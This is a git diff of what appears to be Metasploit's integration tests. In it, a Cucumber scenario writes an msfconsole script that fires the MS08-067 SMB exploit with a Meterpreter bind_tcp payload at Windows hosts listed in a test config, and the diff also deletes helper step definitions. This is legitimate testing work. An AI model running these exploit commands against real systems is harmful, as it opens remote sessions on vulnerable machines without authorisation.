diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature index 9a9cf04ddf..6647c7083a 100644 --- a/features/modules/exploit/smb/ms08_067_netapi.feature +++ b/features/modules/exploit/smb/ms08_067_netapi.feature @@ -8,19 +8,19 @@ Feature: MS08-067 netapi Scenario: The MS08-067 should get a session with bind_tcp Given I ready the windows targets - And a file named "ms08-067.rc" with: + Given a file named "ms08-067-bind.rc" with: """ hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml') self.run_single('use exploit/windows/smb/ms08_067_netapi') self.run_single('set payload windows/meterpreter/bind_tcp') hosts['windows'].each do |host| - self.run_single("set RHOST #{host['ip']}") + self.run_single("set RHOST #{host['ipAddress']}") self.run_single('run') sleep 1 end - """ - When I run `msfconsole --environment test -q -r ms08-067.rc -x exit` - Then the output should contain "[*] Exploit completed, 1 session was created." + When I run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit` + Then the 'Mdm::Host' table contains the targets from 'features/support/targets.yml' + \ No newline at end of file diff --git a/features/step_definitions/targets.rb b/features/step_definitions/targets.rb deleted file mode 100644 index 7c14393d0e..0000000000 --- a/features/step_definitions/targets.rb +++ /dev/null @@ -1,10 +0,0 @@ -When /^targets are loaded$/ do - config_file = File.expand_path('features/support/targets.yml') - fail "Target config file #{config_file} does not exist" unless File.exists?(config_file) - @target_config = YAML.load_file(config_file) -end - -When /^(RHOSTS?) (?:are|is) (\S+)$/ do |type, target_type| - fail "No target type #{target_type}" unless @target_config.key?(target_type) - step "I type \"set #{type} #{@target_config[target_type]}\"" -end